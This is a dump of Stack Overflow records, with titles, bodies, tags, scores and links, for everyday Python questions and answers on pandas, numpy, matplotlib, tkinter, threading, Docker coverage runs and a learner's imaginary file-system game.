has body: Tell me if this has already been answered!!! Background info: Hello, I am Max, 14 years old and from Germany. Currently I am working on the mechanic for a little game I want to code in Python, just to learn the language and get comfortable with it. In The game you have to find and delete a imaginary "virus" on a "computer". To do so, you have to navigate through folders and execute a couple of commands, just like you would in the normal terminal. Actual Question: My Problem is navigating through directories. I might not have the best method of setting up the structure and I also don't really know a better way of doing it. Maybe anyone here has an idea. I don't really want to use real folders and just access them from my programm, since I really want to learn the language. I will provide you with the code, that is necessary. I have a list (as seen below), that contains all the commands my programm accepts at the moment and a second one that contains the number of attributes every individual comment requires. These attributes are in a third list, where they can be reached by the index of the command itself, thats what the variable, "index" is. comm = ['hello', 'help', 'cd', 'ls', 'cdir', 'rdir', 'cfil', 'rfil', 'detc'] commAtt = ['0', '0', '1', '1', '2', '2', '2', '2', '1'] attribute = ['0', '0', '* directory *', '* directory *', '* directory * * new name *', '* directory * * new name *', '* file path * * new name *', '* file path * * new name *', '* malware / spamware / adware *'] # Directories total = 7 layer0 = ['Boot'] # layer1 Boot = ['System', 'Users', 'Applications'] #layer2 System = ['Library', 'System files'] Users = ['Phillipp Dorson', 'Root'] Applications = ['Corel .exe', 'Text Editor.exe', 'Python lib', 'Internet.exe'] # layer3 PhillippD = ['Documents', 'Downloads', 'Pictures', 'Movies', 'Desktop', 'Music'] # layer4 Documents = ['Job_Application.txt', 'Cover_Page.corel'] def dirCheck(command, path, index): count = 0 layerI = 'null' dir = layerI for pathI i…
type: UnansweredQuestion
tagged with: python
tagged with: structure
has title: Code a directory structure from scratch (imaginary files / folders etc.) in python?
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/48674111
tagged with: file
type: Question
upvote count: 1
answer count: 1
tagged with: directory
favorite count: 0

http://stackoverflow.com/q/48706377
tagged with: sqlite
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84411729
favorite count: 0
has title: Pandas to_sql error - 'Error binding parameter 0 - probably unsupported type'
type: Question
tagged with: python
upvote count: 1
has comment: http://stackoverflow.com/comment/84413086
has comment: http://stackoverflow.com/comment/84412244
has comment: http://stackoverflow.com/comment/84427106
has body: I am trying to push a pandas dataframe to an existing sqlite database. I am getting the following error: pandas.io.sql.DatabaseError: Execution failed on sql 'SELECT name FROM sqlite_master WHERE type='table' AND name=?;': Error binding parameter 0 - probably unsupported type. I would like to push the pandas dataframe to a new table in the database. The code is as follows: data.to_sql(name=data, con=database.db, if_exists='append', index_label='record_identifier', chunksize=10000) All series in the dataframe are 'object' type. Help understanding and fixing the error would be much appreciated. EDIT: Data representation. NB: I can push this to SQL but it is a reasonable representation of the data (some string IDs and text). Happy to edit with further tests. ex_dic = { 'id': ['ID-1', 'ID-2', 'ID-3'], 'color': ['red', 'blue', 'red'] } columns = ['id', 'color'] index = ['a', 'b', 'c'] df = pd.DataFrame(ex_dic, columns=columns, index=index) Datatypes being used (data.dtypes): record_identifier object stem_notes_1 object stem_notes_2 object stem_notes_3 object stem_notes_4 object stem_notes_5 object stem_notes_6 object stem_notes_7 object stem_combined_notes object dtype: object
answer count: 0
type: UnansweredQuestion
tagged with: pandas

http://stackoverflow.com/q/48720559
upvote count: 6
possible better answer: http://stackoverflow.com/a/48722542
has answer: http://stackoverflow.com/a/48722565
accepted answer: http://stackoverflow.com/a/48726477
answer count: 3
tagged with: pandas
linked to: http://stackoverflow.com/q/14358567
favorite count: 0
has comment: http://stackoverflow.com/comment/84493825
has answer: http://stackoverflow.com/a/48726477
score: 6
tagged with: python
type: AnsweredQuestion
has body: I have data in pandas dataframe with 1 minute time step. This data is not recorded continuously, now I would like to split all my data into separate event based on the condition below : If there is continuous data recorded for 5min or more then only it is considered as a event and for such event data need to extracted separately. Is there a way to implement this in pandas dataframe. My data look likes this (with the Event column as result): Date X Event 2017-06-06 01:08:00 0.019 1 2017-06-06 01:09:00 0.005 1 2017-06-06 01:10:00 0.03 1 2017-06-06 01:11:00 0.005 1 2017-06-06 01:12:00 0.003 1 2017-06-06 01:13:00 0.001 1 2017-06-06 01:14:00 0.039 1 2017-06-06 01:15:00 0.003 1 2017-06-06 01:17:00 0.001 nan 2017-06-06 01:25:00 0.006 nan 2017-06-06 01:26:00 0.006 nan 2017-06-06 01:27:00 0.032 nan 2017-06-06 01:29:00 0.013 2 2017-06-06 01:30:00 0.065 2 2017-06-06 01:31:00 0.013 2 2017-06-06 01:32:00 0.001 2 2017-06-06 01:33:00 0.02 2 2017-06-06 01:38:00 0.05 nan 2017-06-06 01:40:00 0.025 3 2017-06-06 01:41:00 0.01 3 2017-06-06 01:42:00 0.008 3 2017-06-06 01:43:00 0.009 3 2017-06-06 01:44:00 0.038 3 2017-06-06 01:45:00 0.038 3 Your suggestion is highly appreciated. Using the solution provided by nnnmmm, result looks like this 2015-01-01 03:24:00 NaN 2015-01-01 04:59:00 NaN 2015-01-01 05:01:00 NaN 2015-01-01 05:02:00 NaN 2015-01-01 05:03:00 NaN 2015-01-13 01:12:00 1.0 2015-01-13 01:13:00 1.0 2015-01-13 01:14:00 1.0 2015-01-13 01:15:00 1.0 2015-01-13 01:16:00 1.0 2015-01-13 01:49:00 1.0 2015-01-13 01:50:00 1.0 2015-01-13 01:51:00 1.0 2015-01-13 01:52:00 1.0 2015-01-13 01:53:00 1.0 2015-01-13 01:54:00 1.0 2015-01-13 01:55:00 1.0 In this case, there is time change between 01:16:00 and 01:49:00, it shouldn't consider it as a same event rather 01:49:00 should be the second event.
downvote count: 0
linked to: http://stackoverflow.com/q/40802800
has comment: http://stackoverflow.com/comment/84442944
has comment: http://stackoverflow.com/comment/84443202
has answer: http://stackoverflow.com/a/48722542
type: Question
tagged with: numpy
has title: Calculating event based on the continuous timestep
has comment: http://stackoverflow.com/comment/84449688

http://stackoverflow.com/a/48710566
score: 1
has body: You trying to print the whole array and format expects single value that could be represented as float. Try like this: print(np.around(sess.run(weights), 2) #[[ 0.31 0.30 0.11] # [ 0.27 -0.21 -0.59]] Also, the correct format would be 0:.2f
upvote count: 1
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48710409
accepted answer of: http://stackoverflow.com/q/48710409
downvote count: 0

http://stackoverflow.com/a/48703710
upvote count: 1
downvote count: 0
has body: sum has a parameter numeric_only that you can make use of. df.drop( [col for col, greater in (df.sum(numeric_only=True) &gt; 40000).to_dict().items() if greater is False], axis=1, inplace=True )
type: Answer
score: 1
answers question: http://stackoverflow.com/q/48703279

concurrency
tag name: concurrency
tags question: http://stackoverflow.com/q/48678116
tags question: http://stackoverflow.com/q/48757321
type: Tag
tags question: http://stackoverflow.com/q/48732327

http://stackoverflow.com/q/48701013
has answer: http://stackoverflow.com/a/48701104
linked to: http://stackoverflow.com/q/54492963
possible better answer: http://stackoverflow.com/a/48701641
has body: I am trying to connect two points using matplotlib. For example, A=[[1,2],[3,4],[5,6]] B=[8,1] I should connect each (1,2), (3,4), (5,6) three points to (8,1), I tried to use method like (not this, but similar to this) xs = [x[0] for x in A] ys = [y[1] for y in A] plt.plot(xs,ys) but in that way, I should duplicate (8,1) every time between each three points. Are there any pythonic method to do this?
answer count: 2
has answer: http://stackoverflow.com/a/48701641
downvote count: 0
score: 1
favorite count: 0
has title: Connecting two scattered point in lines using matplotlib
accepted answer: http://stackoverflow.com/a/48701104
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/96334657
upvote count: 1
type: Question
tagged with: matplotlib

http://stackoverflow.com/q/48733200
has comment: http://stackoverflow.com/comment/84498320
has comment: http://stackoverflow.com/comment/84497853
has answer: http://stackoverflow.com/a/48739763
has comment: http://stackoverflow.com/comment/84479221
duplicate of: http://stackoverflow.com/q/59895
has comment: http://stackoverflow.com/comment/84480550
has comment: http://stackoverflow.com/comment/84466159
accepted answer: http://stackoverflow.com/a/48739763
has comment: http://stackoverflow.com/comment/84469198
type: Question
has comment: http://stackoverflow.com/comment/84469001
has comment: http://stackoverflow.com/comment/84497760
score: 4
has comment: http://stackoverflow.com/comment/84502993
has comment: http://stackoverflow.com/comment/84466657
upvote count: 4
duplicate of: http://stackoverflow.com/q/16850029
answer count: 2
tagged with: bash
has body: When starting a project in Python, I want to save some environment variables in a file called environment_variables and source this file in the bashrc. The file looks something like this: username=$(whoami) # project root path export PROJECT_DIR='/home/'$username'/nuclei_segmentation/' # project data path export DATA_DIR=$PROJECT_DIR"data/" # location of models export MODEL_DIR=$PROJECT_DIR"models/" # project output data export OUTPUT_DIR=$PROJECT_DIR"output/" I would like to change the PROJECT_DIR path so it is platform/name independent. So this environment_variables file will always be in the root directory of the project and I want to set PROJECT_DIR to always be the location of the environment_variables file. I thought I could do this with PWD but when called from bashrc this creates an error, I also thought of a solution using find to search for the file from the root directory but this seems to complex and think there must be a better way?
tagged with: environment-variables
downvote count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/84466537
has title: bash shell store path to current file as variable?
favorite count: 0
linked to: http://stackoverflow.com/q/59895
has comment: http://stackoverflow.com/comment/84469177
has comment: http://stackoverflow.com/comment/84465530
tagged with: python
has comment: http://stackoverflow.com/comment/84500547
possible better answer: http://stackoverflow.com/a/48733967
has answer: http://stackoverflow.com/a/48733967
type: AnsweredQuestion

http://stackoverflow.com/q/48753183
score: -1
favorite count: 0
has title: how to convert a list of strings into a list of integers in python
possible better answer: http://stackoverflow.com/a/48753213
tagged with: python
has answer: http://stackoverflow.com/a/48753213
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/48753242
downvote count: 1
linked to: http://stackoverflow.com/q/39644486
type: Question
answer count: 2
upvote count: 0
has body: if my list is B = ['1,222,000', '234,444', '12,000,000'] how do I convert that to [1222000, 234444, 12000000] I tried B = list(map(int, B) but it gives the error, invalid literal for int() with base 10: '1,375,178'
duplicate of: http://stackoverflow.com/q/39644486
accepted answer: http://stackoverflow.com/a/48753242

http://stackoverflow.com/comment/85063912
type: AnswerComment
has text: ok here my code for name : class custom_shipping(models.Model): _name = 'custom_shipping.models' _inherit = ['mail.thread', 'ir.needaction_mixin'] _rec_name = 'sr_no' sr_no = fields.Char(string='Project Name', unique = True,required=True) # name = fields.Char(string='Shipp Reference', required=True, copy=False, readonly=True, states={'draft': [('readonly', False)]}, index=True) # default=lambda self: _('New')
type: Comment
comment on: http://stackoverflow.com/a/48816739
score: 0

http://stackoverflow.com/a/48697498
has body: As stated above, numpy.append does not append items in place, but the reason why is important. You must store the returned array from numpy.append to the original variable, or else your code will not work. That being said, you should likely rethink your logic. Numpy uses C-style arrays internally, which are arrays in contiguous memory without leading or trailing unused elements. In order to append an item to an array, Numpy must allocate a buffer of the array size + 1, copy all the data over, and add the appended element. In pseudo-C code, this comes to the following: int* numpy_append(int* arr, size_t size, int element) { int* new_arr = malloc(sizeof(int) * (size+1); mempcy(new_arr, arr, sizeof(int) * size); new_arr[size] = element; return new_arr; } This is extremely inefficient, since a new array must be allocated each time (memory allocation is slow), all the elements must be copied over, and the new element added to the end of the new array. In comparison, Python lists reserve extra elements beyond the size of the container, until the size is the same as the capacity of the list, and grow exponentially. This is much more efficient for insertions at the end of the container than reallocating the entire buffer each time. You should use Python lists and list.append, and then convert the new list to a NumPy array. Or, if performance is truly critical, use a C++-extension using std::vector rather than numpy.append in all scenarios. Re-write your code, or it will be glacial. Edit Also,as pointed out in the comments, if you know the size of a Numpy array before hand, pre-allocating it with np.zeros(n) is efficient, as is using a custom wrapper around a NumPy array class extendable_array: def __init__(self, size=0, dtype=np.int): self.arr = np.array(dtype=dtype) self.size = size def grow(self): '''Double the array''' arr = self.arr self.arr = np.zeros(min(arr.size * 2, 1), dtype=arr.dtype) self.arr[:arr.size] = arr def append(self, value): '''Append a value to the arra…
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84393981
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/84393916
answers question: http://stackoverflow.com/q/48697381

http://stackoverflow.com/q/48692483
tagged with: boto3
has body: I have packages stored in s3 bucket. I need to read metadata file of each package and pass the metadata to program. I used boto3.resource('s3') to read these files in python. The code took few minutes to run. While if I use aws cli sync, it downloads these metafiles much faster than boto. My guess was that if I do not download and just read the meta files, it should be faster. But it isn't the case. Is it safe to say that aws cli is faster than using boto?
score: 4
answer count: 3
has answer: http://stackoverflow.com/a/63806918
favorite count: 0
has title: Is aws CLI faster than using boto3?
accepted answer: http://stackoverflow.com/a/48702974
tagged with: python
tagged with: boto
type: AnsweredQuestion
tagged with: amazon-s3
type: Question
upvote count: 4
possible better answer: http://stackoverflow.com/a/48698248
has answer: http://stackoverflow.com/a/48698248
has answer: http://stackoverflow.com/a/48702974
downvote count: 0

http://stackoverflow.com/comment/84541535
score: 0
type: AnswerComment
type: Comment
has text: your code worked and gave me the correct output, however when I tried to save the change in csv and re-open it, it does not show the date change.
comment on: http://stackoverflow.com/a/48755757

http://stackoverflow.com/comment/84538802
has text: Possible duplicate of [Django optional url parameters](https://stackoverflow.com/questions/14351048/django-optional-url-parameters)
comment on: http://stackoverflow.com/q/48768908
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84574218
type: Comment
type: QuestionComment
has text: yea, that didnt work :-)
comment on: http://stackoverflow.com/q/48786258
score: 0

http://stackoverflow.com/q/48724508
score: -4
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/48724570
has title: Convert list of Dictionaries with same keys into a single list
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48724568
type: Question
possible better answer: http://stackoverflow.com/a/48724546
has body: I have a list of dict: output = [{"latitude": 28.6333}, {"latitude": 28.6333}, {"latitude": 28.65}] as the key is same in all so I want to merge this and make a list from dictionary. So far I have tried this: d = [] for k in output.iterkeys(): d[k] = list(d[k] for d in output) print d But i gives me an error AttributeError: 'str' object has no attribute 'iterkeys' What I am doing wrong here. Expected Output : [28.6333, 28.6333, 28.65] To Those who are marking this question as duplicate. I just found out that my query is different as my type(output) #str and not int or float thats why when I wrote AttributeError No one points out why a dict is of float values is of type str. This was the reason I am not getting this to work. When running all the individual answers as a separate programs I got what I wanted but that certainly is not matching the requirements of my program
answer count: 6
downvote count: 6
has answer: http://stackoverflow.com/a/48724603
accepted answer: http://stackoverflow.com/a/48724603
upvote count: 2
tagged with: python-2.7
duplicate of: http://stackoverflow.com/q/41989365
has answer: http://stackoverflow.com/a/48724650
has comment: http://stackoverflow.com/comment/84452530
favorite count: 0
has answer: http://stackoverflow.com/a/48724546
linked to: http://stackoverflow.com/q/41989365
has answer: http://stackoverflow.com/a/48724574

pyspark
tags question: http://stackoverflow.com/q/48652050
tags question: http://stackoverflow.com/q/48767109
tags question: http://stackoverflow.com/q/48687638
tags question: http://stackoverflow.com/q/48688780
tags question: http://stackoverflow.com/q/48708620
tags question: http://stackoverflow.com/q/48683935
tags question: http://stackoverflow.com/q/48673247
tags question: http://stackoverflow.com/q/48731221
tags question: http://stackoverflow.com/q/48746376
tags question: http://stackoverflow.com/q/48738354
tags question: http://stackoverflow.com/q/48677605
tags question: http://stackoverflow.com/q/48791633
tags question: http://stackoverflow.com/q/48703081
tags question: http://stackoverflow.com/q/48745029
tags question: http://stackoverflow.com/q/48768096
type: Tag
tags question: http://stackoverflow.com/q/48689144
tags question: http://stackoverflow.com/q/48704893
tags question: http://stackoverflow.com/q/48782591
tags question: http://stackoverflow.com/q/48747720
tags question: http://stackoverflow.com/q/48779347
tags question: http://stackoverflow.com/q/48741684
tags question: http://stackoverflow.com/q/48769544
tags question: http://stackoverflow.com/q/48688382
tags question: http://stackoverflow.com/q/48767861
tags question: http://stackoverflow.com/q/48739752
tags question: http://stackoverflow.com/q/48799807
tags question: http://stackoverflow.com/q/48771904
tags question: http://stackoverflow.com/q/48752546
tags question: http://stackoverflow.com/q/48776781
tags question: http://stackoverflow.com/q/48770263
tags question: http://stackoverflow.com/q/48790246
tags question: http://stackoverflow.com/q/48717765
tags question: http://stackoverflow.com/q/48677169
tags question: http://stackoverflow.com/q/48684048
tags question: http://stackoverflow.com/q/48747276
tags question: http://stackoverflow.com/q/48693645
tags question: http://stackoverflow.com/q/48708480
tag name: pyspark
tags question: http://stackoverflow.com/q/48800046
tags question: http://stackoverflow.com/q/48655575
tags question: http://stackoverflow.com/q/48716630

http://stackoverflow.com/comment/84612792
comment on: http://stackoverflow.com/q/48804513
score: 0
has text: Thank you, this was the clue I needed! I used the pyplot library consistently and was able to format it as I wanted to.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84502563
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48750896
score: 0
has text: Are you able to access same page from browser? Maybe they have counter-scraping IP blocking.

http://stackoverflow.com/q/48737282
has comment: http://stackoverflow.com/comment/84504337
has comment: http://stackoverflow.com/comment/84474636
downvote count: 0
favorite count: 0
tagged with: model-fitting
has title: Scipy Exponential Decay Curve
type: UnansweredQuestion
tagged with: curve-fitting
has comment: http://stackoverflow.com/comment/84480736
has comment: http://stackoverflow.com/comment/84480749
tagged with: python
tagged with: data-fitting
has body: I am trying to fit my data points to exponential decay curve. So, my code is: import numpy as np from scipy.optimize import curve_fit import matplotlib.pyplot as plt x = np.array([54338, 54371, 54547]) y = np.array([6.37468,6.36120,6.34980]) # prepare some data x1 = np.array([54324,54332,54496, 54620, 54752, 54861, 54913, 54914, 54915, 54913, 54974, 55026, 55117, 55117 ]) y1 = np.array([6.40873, 5.00000, 5.00000, 6.32667, 6.29763, 6.29971, 5.00000, 6.29771, 6.29687, 6.32965, 6.28848, 6.27450,6.31405,6.19976]) xall = np.array([54338, 54371, 54547,54324,54332,54496, 54620, 54752, 54861, 54913, 54914, 54915, 54913, 54974, 55026, 55117, 55117 ]) yall = np.array([6.37468,6.36120,6.34980,6.40873, 5.00000, 5.00000, 6.32667, 6.29763, 6.29971, 5.00000, 6.29771, 6.29687, 6.32965, 6.28848, 6.27450,6.31405,6.19976 ]) t0=54322.13 def h(x1,a,b,c): return a*np.exp(-(x1-t0)/b)+c lendata= len(x) popt,pcov = curve_fit(h,xall,yall) y_fit =(h(xall, *popt)) fig = plt.figure() plt.plot(x, y, color='#5e3c99', ls='None',marker='o') plt.plot(x1, y1, color='#e66101',ls='None',marker='o') plt.plot(xall, h(xall, *popt), color='#377eb8') plt.show() I practiced code from Scipy's documents. Everything looks okay, but I'm having the very strange line fit instead curve fit like that: I also checked this solution, but it did not help that much. What can be cause this problem?
has comment: http://stackoverflow.com/comment/84485445
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/84475463
upvote count: 1
tagged with: scipy
type: Question
linked to: http://stackoverflow.com/q/3938042

http://stackoverflow.com/comment/84414945
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48708101
has text: Can you show the structure of `list_city`, `list_names`, `list_age`?

http://stackoverflow.com/q/48757478
tagged with: python
type: AnsweredQuestion
tagged with: tkinter
upvote count: 1
has answer: http://stackoverflow.com/a/48757639
type: Question
has comment: http://stackoverflow.com/comment/84517694
has body: In this code I want to return a value out of set function but can't. What should I do? from tkinter import * temp= 0 def sel(): selection = "You selected the option " + str(var.get()) label.config(text = selection) temp=selection return temp root = Tk() var = IntVar() R1 = Radiobutton(root, text="Option 1", variable=var, value=1, command=sel) R1.pack( anchor = W ) R2 = Radiobutton(root, text="Option 2", variable=var, value=2, command=sel) R2.pack( anchor = W ) R3 = Radiobutton(root, text="Option 3", variable=var, value=3, command=sel) R3.pack( anchor = W) label = Label(root) label.pack() print (sel()) root.mainloop() Why doesn't the print function display the result?
downvote count: 4
answer count: 1
accepted answer: http://stackoverflow.com/a/48757639
has comment: http://stackoverflow.com/comment/84516236
favorite count: 0
has title: How to return value of function out of mainloop?
score: -3

http://stackoverflow.com/q/48792474
has comment: http://stackoverflow.com/comment/84587844
has comment: http://stackoverflow.com/comment/84588826
upvote count: 1
has body: In python can we get the parent key path for a key, My json looks like following.. For example if i input a1: it should give: PROJ1/LOB1. All keys inside list[] are unique { 'PROJ1': { u'LOB1': [u'a1', u'a2'], u'LOb2': [u'v1', u'v2'], u'LOBA': [u'o1', u'oa', u'o2', u'o3'], u'LOBX': [u'n1', u'n2'], u'LOB': [u'b1', u'b2'] }, 'PROJ12': { u'LOBa': [u'aa1', u'aa2'], u'LOBX': [u'vx1', u'vx2'] }, } I found this on a different thread but its not working for the above data. failing with : unhashable type: 'list' def keypaths(myDict): for key, value in myDict.items(): if isinstance(value, collections.Mapping): for subkey, subvalue in self.keypaths(value): yield [key] + subkey, subvalue else: yield [key], value reverse_dict = {value: keypath for keypath, value in keypaths(example_dict)}
answer count: 1
has title: How to get the parent keypath in json file?
tagged with: data-structures
favorite count: 0
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/84587449
downvote count: 1
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48793348
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/84588037
has comment: http://stackoverflow.com/comment/84588181
type: Question

http://stackoverflow.com/q/48692363
tagged with: containers
type: UnansweredQuestion
tagged with: docker
type: Question
has body: System Def: 2012 macbook pro running Sierra, Docker version: 17.12.0-ce-mac49 (21995) The Problem: I'm having an issue running my python app with "coverage run" in my container. I'm going to try to explain what i'm doing below.. hopefully it makes sense. Trying to put as much info on what i'm trying to do and what i've done already in here. Basically my situation is this. I'm starting a python based (pyramid) web service. It's just a HTTP based API. Nothing super fancy. I want to get coverage numbers on it for when i run my postman tests against it so I start it by doing "coverage run /path/path/path/app.py" and that works perfectly fine. I created a .coveragerc to zero in on the sourcecode i want to analyze and everything is perfectly fine, OUTSIDE A CONTAINER. Trying to get coverage to work INSIDE my containerized version of this app is a different story. for reference .. here is my Dockerfile with secret stuff masked off with ######### marks FROM ################:latest # Add files ADD . / /path/ # Set up Env ENV GRAPHITE_SERVER=localhost ENV APP_USER=root ENV APP_HOME=/path ENV APP_LOGS=$APP_HOME/logs ENV PYTHONPATH=#################:$PYTHONPATH ARG requested_environment=stage1 ARG coverage ARG log_monitor ENV COVERAGE=$coverage ENV LOG_MONITOR=$log_monitor ENV ENVIRONMENT=$requested_environment ENV PATH=$APP_HOME/######:$PATH RUN mkdir -p $APP_LOGS RUN pip install -r $APP_HOME/requirements.txt RUN cd $APP_HOME/external-libs/mysql-connector/mysql-connector-python-2.1.2/; python setup.py install RUN ln -fs /usr/bin/python /usr/local/bin/python EXPOSE 1234 # start app ENTRYPOINT $COVERAGE $APP_HOME/path/path/app.py $LOG_MONITOR and my build command is docker build . --build-arg requested_environment=stage1 --build-arg log_monitor=noMonitor --build-arg coverage="coverage run" -t stage1-latest I want to do the same thing inside the container as i can do outside the container.. meaning.. I want to run the app inside the container with coverage on. So you'd think that…
has answer: http://stackoverflow.com/a/53346768
favorite count: 0
has title: "coverage run app.py" inside a docker container not creating .coverage file?
has answer: http://stackoverflow.com/a/50050674
has answer: http://stackoverflow.com/a/48710256
tagged with: python
tagged with: dockerfile
score: 4
tagged with: coverage.py
upvote count: 4
answer count: 4
has answer: http://stackoverflow.com/a/56760475
downvote count: 0

http://stackoverflow.com/q/48732300
tagged with: python
has title: retain the xml tags using query from eulexistdb
tagged with: exist-db
type: Question
tagged with: xquery
has answer: http://stackoverflow.com/a/48752543
score: 0
has comment: http://stackoverflow.com/comment/84479899
answer count: 1
has body: I am using exist-db as a database for all my xml files and I used the eulexistdb python library to perform the queries. My question is, when i use the QuerySet command, it only returns the values from the xml data. Is there a way to retain the xml tags in the result? The reason is, it is easier for me to parse the result and it would be much cleaner as compared to parsing it using the index. e.g from eulexistdb import db from eulexistdb.models import XmlModel from eulexistdb.query import QuerySet db = db.ExistDB(server_url=EXISTDB_SERVER_URL,username='user1',password='password1') qs = QuerySet(using=db,model=XmlModel,xpath="//tag1") the code above will only return the values and I was wondering if there is a way for it to return something like: value2 value3 Please Help. Thank you.
type: UnansweredQuestion

http://stackoverflow.com/q/48668217
has body: in my kivy app, I have a threaded function that constantly checks for updates on the name ( client ) list, which stores the names of currently connected clients ( from my sockets part of the program ) the thing is when the function ends I have it call itself to repeat the checking process. but it won't work: def check_names(self): for name in names: if name not in self.namelist.adapter.data: self.namelist.adapter.data.extend([name]) print "checked names" time.sleep(2) self.check_names() print "\nstarting name-checking process" check_names_thread = threading.Thread(target=check_names) check_names_thread.start() I get this error : File "C:\Python27\lib\threading.py", line 754, in run self.__target(*self.__args, **self.__kwargs) TypeError: check_names() takes exactly 1 argument (0 given) and when I add an argument, like this : check_names_thread = threading.Thread(target=check_names, args=" ") I get this error: Exception in thread Thread-4: Traceback (most recent call last): File "C:\Python27\lib\threading.py", line 801, in __bootstrap_inner self.run() File "C:\Python27\lib\threading.py", line 754, in run self.__target(*self.__args, **self.__kwargs) File "D:/04 - Media/Python Projects/4 - Networking/Send_Variable_Test/Server.py", line 136, in check_names self.check_names() AttributeError: 'str' object has no attribute 'check_names' how do I fix this? edit: this is the full picture: class MainScreen(Screen): def check_names(self): for name in names: if name not in self.namelist.adapter.data: self.namelist.adapter.data.extend([name]) print "checked names" time.sleep(2) self.check_names() print "\nstarting name-checking process" check_names_thread = threading.Thread(target=check_names, args=" ") check_names_thread.start()
answer count: 2
has title: Threaded function cant recall itself ( python 2.7 )
type: UnansweredQuestion
tagged with: python
score: 0
tagged with: multithreading
has answer: http://stackoverflow.com/a/48668545
has answer: http://stackoverflow.com/a/48668311
type: Question
has comment: http://stackoverflow.com/comment/84334331

http://stackoverflow.com/q/48773153
type: Question
has title: Replacing all occurrences of words in a text file according to user input
has comment: http://stackoverflow.com/comment/84547940
score: -2
has comment: http://stackoverflow.com/comment/84548036
has comment: http://stackoverflow.com/comment/84547896
answer count: 2
has comment: http://stackoverflow.com/comment/84548298
has comment: http://stackoverflow.com/comment/84547824
has comment: http://stackoverflow.com/comment/84547833
favorite count: 0
tagged with: text-files
has comment: http://stackoverflow.com/comment/84548132
has answer: http://stackoverflow.com/a/48773371
has comment: http://stackoverflow.com/comment/84547848
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48773965
has comment: http://stackoverflow.com/comment/84553036
tagged with: python
has comment: http://stackoverflow.com/comment/84548238
has body: Let's say I have a text file with the following: dog dog cat dog bird cat I would ask the user what dog, cat, and bird should be replaced with. For example, dog = red, cat = yellow, and bird = green. My text file then is the following: red red yellow red green yellow How can I go about identifying unique words, and ask the user what to replace each unique word with? I know if I do: content = open('tags.txt' 'r').readlines() content_set = set(content) I would remove duplicate entries. How about asking a user what to replace these words with? And then go on replacing these words? Here is my previous code, which opens a csv file and inserts contents into a text file: import csv csv_location = input("Location of CSV: ") csv_location_get = csv_location.replace('\\','/') with open(csv_location_get, 'r') as csv_file: reader = csv.reader(csv_file) next(reader) for row in reader: # sku_row = row[0] category_row = row[6].split(';') category_split = category_row[0] with open('tags.txt', 'a') as txt_file: txt_file.write(category_split + '\n') content_old = open('tags.txt', 'r').readlines() content_new = set(content_old) print(content_new)
downvote count: 3
upvote count: 1

http://stackoverflow.com/a/48753210
type: AcceptedAnswer
type: Answer
has body: Try looping through the text to get all of the letters z='w' while True: plaintext=input('enter a word to get its ciphertext') i=plaintext for letter in i : if(letter == 'z'): print ('w')
answers question: http://stackoverflow.com/q/48752743
accepted answer of: http://stackoverflow.com/q/48752743
score: 0

http://stackoverflow.com/a/48697408
answers question: http://stackoverflow.com/q/48697322
upvote count: 0
has body: Try this. you must create a footer.php file then change all names you need to change footer.php &lt;?php &lt;footer&gt; test &lt;/footer&gt; ?&gt; Then replace your footer in every html file by this code. index.php &lt;?php include 'footer.php'; ?&gt; NOTE: This code is only for the same names of every footer.
type: Answer
score: -1
downvote count: 1

http://stackoverflow.com/a/48752906
score: 0
type: Answer
has body: First question: Why do you want to make a script? Do you need to do this once, or many times? If the answer is once, then you're overthinking this and can just execute the two python scripts one after the other, passing the same arguments to each one. If the answer is you need to do this repeatedly, consider attempting a for loop in bash. You can assign your arguments to a variable 'args' and then use the bash loop syntax. Something like below could get you on the right track, but it's impossible to know how your scripts take arguments, etc. without more detail. Good luck. for file in files do args = "127.0.0.1" rclientSocket.py -${args} echo "${file} client socket complete" rserverSocket.py -${args} echo "${file} server socket complete" done
answers question: http://stackoverflow.com/q/48752616

http://stackoverflow.com/a/53126241
has comment: http://stackoverflow.com/comment/98789060
type: Answer
answers question: http://stackoverflow.com/q/48686945
downvote count: 0
has comment: http://stackoverflow.com/comment/115308604
score: 62
has body: While @nemo's solution works fine, there is a pytorch internal routine, torch.nn.functional.pad, that does the same - and which has a couple of properties that a torch.ones(*sizes)*pad_value solution does not (namely other forms of padding, like reflection padding or replicate padding ... it also checks some gradient-related properties): import torch.nn.functional as F source = torch.rand((5,10)) # now we expand to size (7, 11) by appending a row of 0s at pos 0 and pos 6, # and a column of 0s at pos 10 result = F.pad(input=source, pad=(0, 1, 1, 1), mode='constant', value=0) The semantics of the arguments are: input: the source tensor, pad: a list of length 2 * len(source.shape) of the form (begin last axis, end last axis, begin 2nd to last axis, end 2nd to last axis, begin 3rd to last axis, etc.) that states how many dimensions should be added to the beginning and end of each axis, mode: 'constant', 'reflect' or 'replicate'. Default: 'constant' for the different kinds of padding value for constant padding.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/114720573
accepted answer of: http://stackoverflow.com/q/48686945
upvote count: 62

http://stackoverflow.com/a/48686282
answers question: http://stackoverflow.com/q/48686127
score: 0
has comment: http://stackoverflow.com/comment/84371671
type: Answer
has comment: http://stackoverflow.com/comment/84371753
